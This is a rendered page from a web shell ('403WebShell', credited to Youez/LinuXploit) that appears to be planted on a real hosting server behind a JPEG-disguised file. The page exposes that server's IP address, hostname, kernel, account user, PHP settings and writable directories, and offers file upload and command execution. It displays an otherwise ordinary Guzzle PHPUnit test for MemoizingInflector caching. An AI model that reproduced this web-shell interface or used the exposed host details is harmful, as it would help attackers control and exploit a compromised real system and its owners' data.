����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/guzzle/guzzle/tests/Guzzle/Tests/Inflection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/guzzle/guzzle/tests/Guzzle/Tests/Inflection/MemoizingInflectorTest.php
<?php

namespace Guzzle\Tests\Inflection;

use Guzzle\Inflection\MemoizingInflector;
use Guzzle\Inflection\Inflector;

/**
 * @covers Guzzle\Inflection\MemoizingInflector
 */
class MemoizingInflectorTest extends \Guzzle\Tests\GuzzleTestCase
{
    public function testUsesCache()
    {
        $mock = $this->getMock('Guzzle\Inflection\Inflector', array('snake', 'camel'));
        $mock->expects($this->once())->method('snake')->will($this->returnValue('foo_bar'));
        $mock->expects($this->once())->method('camel')->will($this->returnValue('FooBar'));

        $inflector = new MemoizingInflector($mock);
        $this->assertEquals('foo_bar', $inflector->snake('FooBar'));
        $this->assertEquals('foo_bar', $inflector->snake('FooBar'));
        $this->assertEquals('FooBar', $inflector->camel('foo_bar'));
        $this->assertEquals('FooBar', $inflector->camel('foo_bar'));
    }

    public function testProtectsAgainstCacheOverflow()
    {
        $inflector = new MemoizingInflector(new Inflector(), 10);
        for ($i = 1; $i < 11; $i++) {
            $inflector->camel('foo_' . $i);
            $inflector->snake('Foo' . $i);
        }

        $cache = $this->readAttribute($inflector, 'cache');
        $this->assertEquals(10, count($cache['snake']));
        $this->assertEquals(10, count($cache['camel']));

        $inflector->camel('baz!');
        $inflector->snake('baz!');

        // Now ensure that 20% of the cache was removed (2), then the item was added
        $cache = $this->readAttribute($inflector, 'cache');
        $this->assertEquals(9, count($cache['snake']));
        $this->assertEquals(9, count($cache['camel']));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit